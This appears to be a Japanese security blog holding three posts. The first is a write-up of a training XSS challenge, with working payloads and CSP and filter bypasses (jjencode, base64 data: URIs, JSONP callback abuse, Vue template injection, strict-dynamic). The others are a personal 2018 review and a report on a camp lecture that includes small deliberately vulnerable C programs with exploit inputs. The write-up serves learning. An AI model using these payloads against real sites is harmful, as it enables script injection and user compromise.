XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup

はじめに

つばめ(@lmt_swallow/@y0n3uchy)氏によるセキュリティ・ミニキャンプ in 岡山 2018の演習コンテンツであるXSS ChallengeのWriteupです.
初学者向け(?)とのことでしたが,そこそこ苦戦して心が折れました :cry:

答えがそのまま書いてあるため,自力で解きたい方は閲覧しないでください :bow:

Writeup

Case 01: Simple XSS 1

典型的な反射型XSSです.
入力した値がそのままechoされているので,適宜<script>を出力するようにしてやります.

解答

<script>alert("XSS")</script>

<script>alert(document.domain)</script>

Case 02: Simple XSS 2

DOM Based XSSです.
URLのハッシュ以降の値を切り取って,それをinnerHTML<p>に突っ込んでいます.
innerHTML<script>の挿入は使えないので,<img>の挿入を行います.
具体的には,ありえないsrc属性を指定することで,わざとonerror属性に指定されたスクリプトを実行させます.

解答

https://xss.shift-js.info/case02.php#<img src=/ onerror=alert("XSS") />

https://xss.shift-js.info/case02.php#<img src=/ onerror=alert(document.domain) />

Case 03: With htmlspecialchars()

入力した値が<a>タグのhref属性に設定されています.
そのため,javascript:スキームの挿入が有効です.

解答

javascript: alert("XSS")

javascript: alert(document.domain)

Case 04-1: Without any backquotes and HTML tags

バッククォート(`)とタグ(<>)を使うことができません.
ソースコードをよく見ると,与えたクエリがJavaScriptにてバッククォートで展開されています.
よって,JavaScriptのテンプレートリテラルにおける変数展開が可能なのでこれを利用します.

以下の文字列を以下のスクリプトによってJavaScriptコードに変換します.

<img src=/ onerror=alert(document.domain) />
<img src=/ onerror=alert("XSS") />
S = input()

C = []
for s in S:
    C.append(ord(s))

print("${" + "String.fromCharCode({})".format(",".join(list(map(str, C)))) + "}")

解答

${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,34,88,83,83,34,41,32,47,62)}

${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,32,47,62)}

Case 04-2: Without any backquotes, HTML tags and [ux]

04-1に加えてuxが使用できなくなりますが,上記と同じ攻撃ベクタでXSSが可能です.
uxということは,04-1ではUnicode表記を想定していたんだと思います(ごめんなさい)

解答

${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,34,88,83,83,34,41,32,47,62)}

${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,32,47,62)}

Case 05: Without any alphabets

アルファベットと数字が使えません.
一見無理そうですが,JavaScriptは記号のみでプログラミングできるみたいなアレがあります.
(「JavaScript 記号プログラミング」とかで検索すると出てきます.)

スクリプトを書いてやってもいいですが少々面倒なので,今回はjjencodeを使いました.

解答

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"\\\")"+"\"")())();

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();

Case 06-1: Without any paretheses

Parentheses(())が使えません.
今回はbase64エンコーディングを用いて上記のフィルターを回避します.

下記のスクリプトを用いて下記の文字列をエンコードすることで攻撃ベクタを生成しました.

alert("XSS")
alert(document.domain)
import base64

prefix = "data:text/javascript;base64,"
code = input()

print("<script src={}{} ></script>".format(prefix, base64.b64encode(code.encode()).decode()))

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>

Case 06-2: Without any parentheses and [oO][nN]

上記に加えて,onほげほげが弾かれる.
さっき作成した攻撃ベクタにonほげほげは含まれていないので,そのまま流用できます.

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>

Case 06-3: Without any paretheses and .[oO].[nN].*

ほげほげoほげほげnほげほげが弾かれる.
運悪く06-2における2つ目の攻撃ベクタの...QoZG9jdW1lbnQ...の部分が該当してしまているので,別の文字列を利用します.

今回は,以下の文字列をエンコードしました.

alert("XSS")
alert( document.domain)

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbik= ></script>

Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes

今度はタグ(/<[a-zA-Z]+.+?>/)も弾かれる.
そこで,弾かれた後の文字列が<script ...>になるようにします.
具体的には,<<[a-zA-Z]それ以外の何か>script ...></script>みたいにすればいいです.

解答

<<ahaha:-)>script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<<ahaha:-)>script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

Case 07-1: Without any quotes

クォート類(single quote, double quote, backquote)が弾かれます.
さっき使ったbase64エンコード形式のやつが使えますね!

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>

Case 07-2: Without any quotes and &

クォート類(single quote, double quote, backquote)と&#が弾かれます.
さっき使ったbase64エンコード形式のやつが(略)

解答

<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>

<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>

Case 08-1: Without any backquotes, parentheses and HTML tags

下記が使えません.

"/[`()<>]/"

ソースコードをよくよく見ると,spanタグのid属性にエスケープされた値がそのまま書き出されています.
そこで,"を使ってid属性を強制的に終了させたのち,JavaScriptの数値文字参照を用いてスクリプトを実行させます.

数値文字参照のコードを生成するために,以下のスクリプトを用いて以下の文字列を変換しました.

alert("XSS")
alert(document.domain)
S = input()

C = []
for s in S:
    C.append(ord(s))

for c in C:
    print("&#{};".format(c), end="")

print()

解答

" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#88;&#83;&#83;&#34;&#41;
" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#100;&#111;&#109;&#97;&#105;&#110;&#41;

Case 08-2: Without any backquotes, parentheses, HTML tags and &

上記に加えて&#も使えません.
そこで,ブラウザハックでも紹介されているXSS technique without parenthesesという手法を用います.

解答

" onclick="window.onerror=eval;throw'=alert\x28\x22XSS\x22\x29';
" onclick="window.onerror=eval;throw'=alert\x28document.domain\x29';

Case 09-1: Without any spaces and "script"

scriptという文字と空白文字が使えません.
正規表現をよく見ると,小文字しか弾かれていないので,大文字でやればいいです.

解答

<SCRIPT>alert("XSS")</SCRIPT>
<SCRIPT>alert(document.domain)</SCRIPT>

Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"

今度は大文字も使えません.
しかし,弾かれるのは一回きりなので,Case 06-4と同様に弾かれた後の文字列が<script ...>になるようにしてやればいいです.

なんかセキュスペのこれの問1設問6(2)を思い出した.

解答

<scrSCRIPTipt>alert("XSS")</scrSCRIPTipt>
<scrSCRIPTipt>alert(document.domain)</scrSCRIPTipt>

Case 20: Bad use of JSONP

CSPによってインラインスクリプトが制限されているため,これまでの問題のように<script>の注入等は行えません.
しかし,本問題ではJSONPをうまく活用することでXSSを発生させることができます.
具体的には,JSONPにおけるコールバック関数(callback)呼び出し時にalertが発生するようにします.
これは,インラインスクリプトの注入には当たらないのでCSPでブロックされません.

解答

<script src="jsonp.php?callback=alert('XSS')"></script>
<script src="jsonp.php?callback=alert(document.domain)"></script>

Case 21: nonce + unsafe-eval

最初にランダムな2つの値がnonceに設定されます.
それを<script>nonce属性に適切に設定することで,CSPにて実行が許可されています.
そのため,適当な<script>を注入してもnonce属性が一致しないため実行が許可されません.

ソースをよく見ると,以下のようなコードがあります.

var answer = eval(window.equation.value);
...
<input type="hidden" id="equation" value="<?= $eq ?>">

これは,equationというid属性を持つタグ(ここではinput)のvalue属性をeval関数で実行するコードです.(CSPでunsafe-evalが指定されているため,このコードの実行も許可されます)
このコードによって,本来は埋め込まれた値($eq)とユーザの入力が等しいかをチェックしています.

そこで,evalによって$eqではなくalertを発生させる文字列を先に評価させるようにします.
なお,元からある<input type="hidden" id="equation" value="<?= $eq ?>">が読み込まれないように,適宜コメントアウトします.

unsafe-evalはこわいですね.

解答

<input type="hidden" id="equation" value="alert('XSS')" ></input><!--
<input type="hidden" id="equation" value="alert(document.domain)" ></input><!--

Case 22: nonce + unsafe-eval

Vue.jsが利用されています.
また,最初にランダムな3つの値がnonceに設定され,それが<script>nonce属性に設定されます.加えて,unsafe-evalが指定されています.

https://github.com/vuejs/vue/issues/3592によると, {{ this.constructor.constructor('alert("oops")') }}のようにテンプレートインジェクションを行うことでalertが実行されるようです.

終わりかな?と思って入力してみると,以下が出力されました.

あなたはfunction anonymous( ) { alert("oops") }さんなんだね。

なんかうまくいってないみたいです.
ちょっとIssueを漁ってみると,このスライドが見つかりました.
ちょっと注入するコードが違ったようです.

解答

{{constructor.constructor('alert("XSS")')()}}
{{constructor.constructor('alert(document.domain)')()}}

Case 23: nonce + strict-dynamic

strict-dynamicが指定されています.
strict-dynamicは以下のような仕様です.

The strict-dynamic source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script.

さっぱりわからんだったので,調べてみました.
すると,CVE-2018-5175: FirefoxでCSPのstrict-dynamicバイパスや,そこからCNY Challenge 2018が見つかりました.

方針として,CSPにstrict-dynamicが指定されているため,nonceによって許可されている以下のコード内でスクリプトを生成させるしかありません.

<script nonce="<?= $random1 ?>">
    window.addEventListener("load", function(){
        var input = `<?= $escaped ?>`;
        window.injectarea.innerHTML = `${input} is your payload; could you execute a script? :-)`
    });
</script>

本来のソースコードでは,id属性がinjectareaである<div>ペイロードが書き出されていますが,これだとスクリプトとして実行されません.
そのため,なんとかして<script>内部にスクリプトを書き出させる必要があります.

そこで,以下のような方策をとります.

  1. id属性がinjectareaである<script>を生成する
  2. 本来id属性がinjectareaである<div><script>で上書きする
  3. 上書きした<script>alert("XSS")を注入する

以下のペイロードXSSが成功します.

解答

alert("XSS")//<script id="injectarea"></script><!-

alert(document.domain)//<script id="injectarea"></script><!-

おわりに

XSSの総復習ができました.(知らないのも結構ありました)
CSP周りは未だ理解があやふやなので,新仕様のCSP Level 3も含めてちゃんと勉強したいと思います.
今後問題が追加されれば追記します!:)

つばめプロ,ありがとうございました!

2018年の振り返りと2019年の目標について

はじめに

誰も得しない記事ですが,自戒の意味も込めて書きます.

2019年の目標

セキュリティキャンプ全国大会に参加すること

これが一番大きな目標です.
去年は準備も技術力も足りずに落ちてしまいましたが,来年こそはリベンジしたいと考えています.
来年落ちてしまうと年齢の関係でもう参加できなくなってしまうため,ちゃんと手を動かして応募したいと思います.

SecHackに参加すること

これも大きな目標です.
去年はスケジュール等の都合から参加を見送りましたが,参加者の方のツイートやブログを見るたびに「どうして応募しなかったのか」という思いに駆られた一年でした.
何かセキュリティに関する大きなテーマを見つけて,それを開発を通して実現できればと思います.

勉強会を主催すること

これはまだ未定ですが,セキュリティに関する勉強会を主催してみたいと考えています.
可能であれば岩手にいる間に,東北地方のセキュリティに興味がある学生のコミュニティを広げていけたらなあと思っています.

研究をすること

現在,来年のIPSJに向けてWebセキュリティに関するとある研究を行なっています.
そこそこ順調に進んではいるのですが,やはり論文のサーベイや技術力,実装力,文章力の不足をひしひしと感じています.
他の学会や卒業のための研究をより良くするために,ちゃんと決まったペースで論文を読んだり書いたりしていきたいです.

SECCON本戦に出場すること

先月あたりに,tokina(ひみつ)さん(@_tokina23)と一緒にNekochanNano!というCTFチームを立ち上げました.
まだ本格的に活動はしていませんが,このチームでSECCONの本戦出場を果たしたいと考えています.
今はWebとCryptoしかまともにできませんが,RevとPwnを重点的に鍛えていきたいと考えています.

青色コーダーになること

今は水色コーダーですが,いろんなアルゴリズムを勉強して青色になれたらと思います.

2018年の振り返り

1月

セキュリティミニキャンプ in 東北 2017に参加しました.
この年の東北ミニキャンプは盛岡で開催されたのでとても参加しやすかったです.
ハードウェア基盤のハッキングとか制御システムセキュリティの基礎をやって,ちょっと低レイヤーに興味が湧き始めました.
この頃ラズパイを買おうと思ったりしましたが,まだ買ってないです.今でもほしい.

2-3月

何もしていなかった.
何があったかは聞いてはいけない.

4月

ゼミでネットワーク構築をやって,Ciscoのルータとスイッチと仲良くなり始める.
CCNAとか受けたいな〜とか思いつつまだ受けてないです.
勉強時間が確保できたら受けてみたいなあ.

あとこの頃からお酒にはまって肝臓が壊れそうになる(まだ壊れてない).

5月

Anco.さん(@Ancoromotch)が主催する弘前セキュリティ勉強会(Micro Hardening)に参加しました.
防御対象のサーバが脆弱性突かれまくってサービス停止祭りになった覚えがあります.
全然サーバ周りの技術力はないけど,次は本物のHardeningに参加したいなと思います.

あとついでに弘前観光もしたんですが,アップルパイが美味しかったり弘前公園が綺麗だったりでかなり楽しめました.またいきたいです.

6月

セキュリティキャンプ全国大会に落ちてこころがしぬ.
来年こそは必ず...

あと,Swiftの勉強会(Swift Day!)とPythonの勉強会(Python Boot Camp)に参加しました.
Swiftはまったくわからん勢だったけど,言語仕様とか結構楽しそうな匂いがしたので時間が取れればまた復習したいです.
Pythonは完全理解勢(大嘘)だったので,TAとして参加しました.今年は予定が合わなくていけなかったPyCon JPに来年は行きたいです.

7月

OWASP Attack & Defenseに参加しました.
OWASPは以前からツールとか情報源とかでお世話になっていたので,特に楽しみなイベントでした.
OWASPの地方組織の取り組みとかも知れたりして,非常に貴重な経験だったなと思います.
来年もAttack & Defenseが仙台で開かれるようなので,予定が合えば参加したいと思います.

8月

インターンシップでLACのJSOCを見学しました.
このときIDSとかIPSとか触って面白い〜となってログ分析の勉強とかを始めました.
SnortとかSplunkとかちゃんと触れるようになりたいな〜と思ってます.

あとSANS NetWars Tournament 2018に参加し,なぜか総合4位になる.
メダルももらえました.
f:id:Szarny:20181224161127p:plain:w300

またこの時,白船さん(@yamatosecurity)とお話しをさせていただき,その2週間後くらいに開催される大和セキュリティ勉強会のスタッフを務めさせていただけることになりました.
以前からとても興味のある勉強会だったので非常に楽しみ (実際とても楽しく勉強になりました) だったのですが,勉強会の途中になぜか高熱が出て死にそうになりました.
あとで調べてわかったのですが,数日前に食べた某生肉があたったみたいでした.
もう生肉は一生食べない.

9月

とある勉強会のTAをやるために,ブロックチェーンの勉強を始めました.
今も基礎知識程度しかわからないので,もっと実装とかゴリゴリやっていきたいな〜と思っています.

10月

SECCON Beginners NEXTに参加しました.
何もわからなくてこころが死にそうになりました.
PwnとRevをちゃんとやろうなという気持ち.

また,SECCONのオンライン予選に参加しました.
何もわからなくてこころが死にそうになりました.
PwnとRevをちゃんとやろうなという気持ち.

11月

正確には10月末からですが,CODE BLUE 2018 @ Tokyoに学生スタッフとして参加しました.

f:id:Szarny:20181108170626j:plain:w350

初めての大規模なカンファレンス参加で緊張していましたが,他の学生スタッフの方やCODEBLUEスタッフの方に助けられ,とても有意義な時間を過ごすことができました.
この時開催されたDTRS(Deloitte Tohmatsu Risk Service)のCTFで2位になりました.
WebAssemblyとかSQLiとかNetwork系の問題が多くて,とても楽しめました.

その後開催されたAVTOKYO 2018にも参加しました.
最初は全部のトークを聞く予定だったんですが,同時開催されていたpinja(@pinja_xyz)さんのOpen xINT CTFが面白くてずっとそっちをやっていました.
このCTFでも2位になりました.副賞として怪しいエナジードリンクをたくさんいただきました.

また,月半ばあたりに開催された仙台CTF 2018に参加して優勝しました.
オフラインCTFイベントに参加して優勝した経験がこれまでになかったため,特に嬉しかったです.
可能であれば来年も参加したいなあと思います.

12月

Webセキュリティの研究を始める.
まだ論文執筆中ですが,来年のIPSJで発表する予定です.
ちゃんと締め切りまでに終わらせたい...

また,セキュリティミニキャンプ in 秋田 2018に参加しました.
人生初秋田でしたが,寒すぎてとても寒かったです(語彙).
f:id:Szarny:20181217202547p:plain:w300

最後に,これはまだですが,ひょんなことから企業のセキュリティエンジニアの方と面談する機会をいただきました.
今後の就活とか進路に関わることですので,いろいろお聞きできればと思います.

セキュリティ・ミニキャンプ in 秋田 2018 に参加しました

はじめに

f:id:Szarny:20181217202547p:plain
読んで字のごとく,2018年12月15日に秋田大学で開催されたセキュリティ・ミニキャンプ in 秋田 2018に参加しました.
セキュリティ・ミニキャンプ in 秋田 2018

本記事では,その時のことを書きたいと思います.

会場に着くまで

私は岩手県の盛岡あたりに住んでいるので,少し前までは当日の早朝に新幹線で行こうかな〜くらいに思っていました.
が,始発の新幹線に乗っても開始時刻に間に合わないことが発覚し,急遽ネカフェ難民が決定.
当日の午前4時くらいに盛岡のネカフェを出て,5時20分の電車に乗車し,
一回の乗り継ぎを経て8時前くらいに秋田駅に到着しました. f:id:Szarny:20181217195214p:plain:w300 f:id:Szarny:20181217195256p:plain:w300 f:id:Szarny:20181217195307p:plain:w300

専門講義1 「バイナリエクスプロイト」

午前の専門講義は天津 健氏による「バイナリエクスプロイト」でした.
具体的に学んだ事柄は以下の通りです.

  • 基礎知識

  • 脆弱性のエクスプロイト

    • 脆弱な型キャスト
    • 想定しない配列範囲外へのアクセス
    • 変数の上書き
    • リターンアドレスの上書き

脆弱な型キャスト

型キャストによって正負が入れ替わったり,一部の情報が欠落したりすることによって生じる不具合を利用した脆弱性です.
例えば,以下のようなCプログラムがあります.

#include <stdio.h>
int valueIsTen(char value){
    if(value == 10){
        return 1;
    }else{
        return 0;
    }
}

int main(void){
    int value;
    
    printf("input value >> ");
    scanf("%d", &value);
    
    if(value > 1000 && valueIsTen(value)){
        printf("Correct!\n");
    }else{
        printf("Incorrect...\n");
    }
}

ユーザの入力した値(value)が,1000より大きい かつ 10である 時に Correct! を表示します.
一見無理そうに見えますが,valueIsTen関数の引数の型がcharに設定されています.
そのため,0xff以上の値が引数に設定されると,上位ビットの値の情報は欠落してしまいます.
そのため,value0xff0aのような値を与えると,両方の条件式を同時に満たすことができます.

$ python -q
>>> 0xff0a
65290
>>> quit()

$ ./a.out 
input value >> 65290
Correct!

想定しない配列範囲外へのアクセス

C言語では配列アクセス時に,アクセスするアドレスが正当であるかチェックを行わないため,本来配列が参照すべき範囲を超えたアクセスを行うことが可能です.
本項は,この特徴を利用したエクスプロイトです.

#include <stdio.h>

int main(void){
    int int_array[] = {1,2,3};
    int secret_value = 4649;

    int idx;
    
    printf("input idx >> ");
    scanf("%d", &idx);
    
    printf("%d\n", int_array[idx]);
}

int_array[ユーザが指定した添字]を表示するプログラムです.
本来secret_valueを参照することはできませんが,添字に想定外の値を与えることでその値をリークさせることが可能です.

tsubasa:tmp $ ./a.out 
input idx >> 0
1
tsubasa:tmp $ ./a.out 
input idx >> 1
2
tsubasa:tmp $ ./a.out 
input idx >> 2
3
tsubasa:tmp $ ./a.out 
input idx >> -1
4649

変数の上書き

getsscanfなどの,文字列長をチェックしない関数に対して,対象の変数が持つサイズをオーバーさせるような値を入力すると,そのほかの変数の値を書き換えることが可能です.

#include <stdio.h>

typedef struct {
    char name[100];
    int is_admin;
} User;

int main() {
    User user = {0, 0};

    printf("name >> ");
    scanf("%s", user.name);

    if (user.is_admin) {
        printf("Admin!\n");
    } else {
        printf("Not admin.\n");
    }
}

上記のプログラムにおいて,本来User.is_adminの値を書き換えることができませんが,scanfを用いている部分にUser.nameが確保している容量以上の値を入力させることで,変数をオーバーフローさせることができます.

$ ./a.out 
name >> tsubasa
Not admin.

$ python -c "print('A'*101)" | ./a.out 
name >> Admin!

リターンアドレスの上書き

これも原因は上記と同様です.
先ほどは特定の変数の値を上書きさせることが目的でしたが,本攻撃ではスタックフレームに積まれたリターンアドレスを書き換えることを目的としています.
そうすることで,プログラムの実行位置(ripのアドレス)を任意に操作可能になります.

専門講義2 「産業制御システム攻防演習」

午前の専門講義は目黒 有輝氏による「産業制御システム攻防演習」でした.

具体的な講義内容は大人の事情で書けませんが,主に以下のようなことについて学びました.

  • 情報システムセキュリティと制御システムセキュリティの違い
  • 制御システムセキュリティの難しさ
  • 制御プロトコルの解析
  • 制御プロトコルを用いた攻撃
  • 上記の攻撃を防ぐ手法

制御システムについては普段学べるような分野ではないので,とても興味深い体験をすることができました.
昨年のセキュリティ・ミニキャンプ in 東北 2017 (盛岡) で学んだことも生かせたのでとても良かったです!

実際の制御システムを用いて制御システムセキュリティを学ぶといったことは難しそうですが,そこで用いられているプロトコルやそれらに対する攻撃といった事項は一般的な情報システム上で用いられているテクニックが応用できることがあるため,普段から様々な方面で情報収集を行っておかなければという気持ちになりました.

おわりに

午前・午後ともにとても楽しく充実した講義でした!
講師ならびに関係者の方々,ありがとうございました!🙇‍♂️

次はセキュリティキャンプ全国大会で!!!

f:id:Szarny:20181217202524p:plain:w300 f:id:Szarny:20181217202724p:plain:w300